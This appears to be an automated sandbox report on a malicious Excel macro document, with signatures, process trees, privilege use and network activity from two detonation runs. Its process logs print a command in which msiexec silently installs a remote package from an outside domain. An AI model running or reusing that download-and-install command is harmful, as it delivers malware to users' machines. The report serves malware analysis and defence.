Malware Analysis Report

2024-10-24 17:10

Sample ID 240907-z6bknawapq
Target b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2
SHA256 b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2
Tags
discovery macro xlm
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2

Threat Level: Known bad

The file b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2 was found to be: Known bad.

Malicious Activity Summary

discovery macro xlm

Process spawned unexpected child process

Suspicious Office macro

Use of msiexec (install) with remote resource

System Location Discovery: System Language Discovery

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-07 21:19

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-07 21:19

Reported

2024-09-07 21:20

Platform

win7-20240704-en

Max time kernel

22s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\msiexec.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Use of msiexec (install) with remote resource

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\msiexec.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls

C:\Windows\SysWOW64\msiexec.exe

msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

Network

Country Destination Domain Proto
US 8.8.8.8:53 zonaykan.com udp

Files

memory/2280-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2280-1-0x0000000071E2D000-0x0000000071E38000-memory.dmp

memory/2280-2-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-07 21:19

Reported

2024-09-07 21:20

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

34s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\msiexec.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Use of msiexec (install) with remote resource

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\msiexec.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4516 wrote to memory of 5084 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\msiexec.exe
PID 4516 wrote to memory of 5084 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\msiexec.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls"

C:\Windows\SYSTEM32\msiexec.exe

msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 zonaykan.com udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 168.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp

Files

memory/4516-0-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

memory/4516-1-0x00007FFC5488D000-0x00007FFC5488E000-memory.dmp

memory/4516-4-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

memory/4516-2-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

memory/4516-6-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-5-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-7-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

memory/4516-8-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-3-0x00007FFC14870000-0x00007FFC14880000-memory.dmp

memory/4516-11-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-10-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-15-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-16-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-14-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-17-0x00007FFC12810000-0x00007FFC12820000-memory.dmp

memory/4516-13-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-12-0x00007FFC12810000-0x00007FFC12820000-memory.dmp

memory/4516-9-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-30-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp

memory/4516-31-0x00007FFC5488D000-0x00007FFC5488E000-memory.dmp

memory/4516-32-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp